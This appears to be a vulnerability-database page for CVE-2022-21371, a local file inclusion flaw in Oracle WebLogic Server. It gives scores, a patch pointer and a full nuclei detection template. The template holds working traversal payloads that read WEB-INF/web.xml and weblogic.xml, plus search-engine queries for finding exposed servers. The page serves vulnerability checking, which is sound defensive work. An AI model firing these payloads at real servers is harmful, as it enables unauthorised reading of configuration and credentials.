HexBrain

Browse / CVEs / CVE-2022-21371

CVE-2022-21371· oracle / weblogic server· CWE-22

Oracle WebLogic Server Local File Inclusion

highseverity
7.5CVSS score
92.6%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.

Impact

An attacker can read sensitive files containing credentials, configuration details, or other sensitive information.

Fix

Apply the latest security patches provided by Oracle to fix the vulnerability.

How to confirm it

Send: GET {{path}}
Positive when: contains(body, "<web-app") && contains(body, "</web-app>") or contains(body, "<weblogic-web-app") && contains(body, "</weblogic-web-app>") AND contains(header, "text/xml") or contains(header, "application/xml") AND status 200

Run it with nuclei: nuclei -id CVE-2022-21371 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-21371

info:
  name: Oracle WebLogic Server Local File Inclusion
  author: paradessia,narluin
  severity: high
  description: An easily exploitable local file inclusion vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server. Supported versions that are affected are 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Successful attacks of this vulnerability can result in unauthorized and sometimes complete access to critical data.
  impact: |
    An attacker can read sensitive files containing credentials, configuration details, or other sensitive information.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://www.oracle.com/security-alerts/cpujan2022.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-21371
    - https://gist.github.com/picar0jsu/f3e32939153e4ced263d3d0c79bd8786
    - http://packetstormsecurity.com/files/165736/Oracle-WebLogic-Server-14.1.1.0.0-Local-File-Inclusion.html
    - https://github.com/Mr-xn/CVE-2022-21371
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-21371
    cwe-id: CWE-22
    epss-score: 0.92649
    epss-percentile: 0.99829
    cpe: cpe:2.3:a:oracle:weblogic_server:12.1.3.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve,cve2022,lfi,weblogic,oracle,packetstorm,vkev,vuln

http:
  - method: GET
    raw:
      - |+
        GET {{path}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      path:
        - .//WEB-INF/weblogic.xml
        - .//WEB-INF/web.xml

    stop-at-first-match: true
    unsafe: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<web-app") && contains(body, "</web-app>")'
          - 'contains(body, "<weblogic-web-app") && contains(body, "</weblogic-web-app>")'
        condition: or

      - type: dsl
        dsl:
          - 'contains(header, "text/xml")'
          - 'contains(header, "application/xml")'
        condition: or

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from